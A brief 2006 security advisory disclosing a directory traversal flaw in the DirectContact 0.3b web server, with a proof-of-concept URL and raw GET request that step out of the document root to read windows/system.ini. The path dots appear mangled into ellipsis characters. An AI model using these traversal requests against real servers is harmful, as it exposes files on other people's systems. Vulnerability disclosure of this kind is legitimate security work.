Donato Ferrante
Application: DirectContact
http://reyero.info/dc/
Version: 0.3b
Bug: directory traversal
Date: 27-Feb-2006
Author: Donato Ferrante
e-mail: [email protected]
web: www.autistici.org/fdonato
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Vendor's Description:
"DirectContact turns your computer in real "friendly" HTTP server."
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
The program is unable to manage malicious patterns like …\ or …/.
So an attacker can go out the document root assigned to the webserver
and see/download all the files available on the remote system.
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
To test the vulnerability:
via browser:
http://[host]:[port]/…\…\…\…\windows/system.ini
via raw request:
GET /…/…/…/…/…/…/windows/system.ini HTTP/1.1
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Vendor has been contacted.
Bug will be fixed in the next release.
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx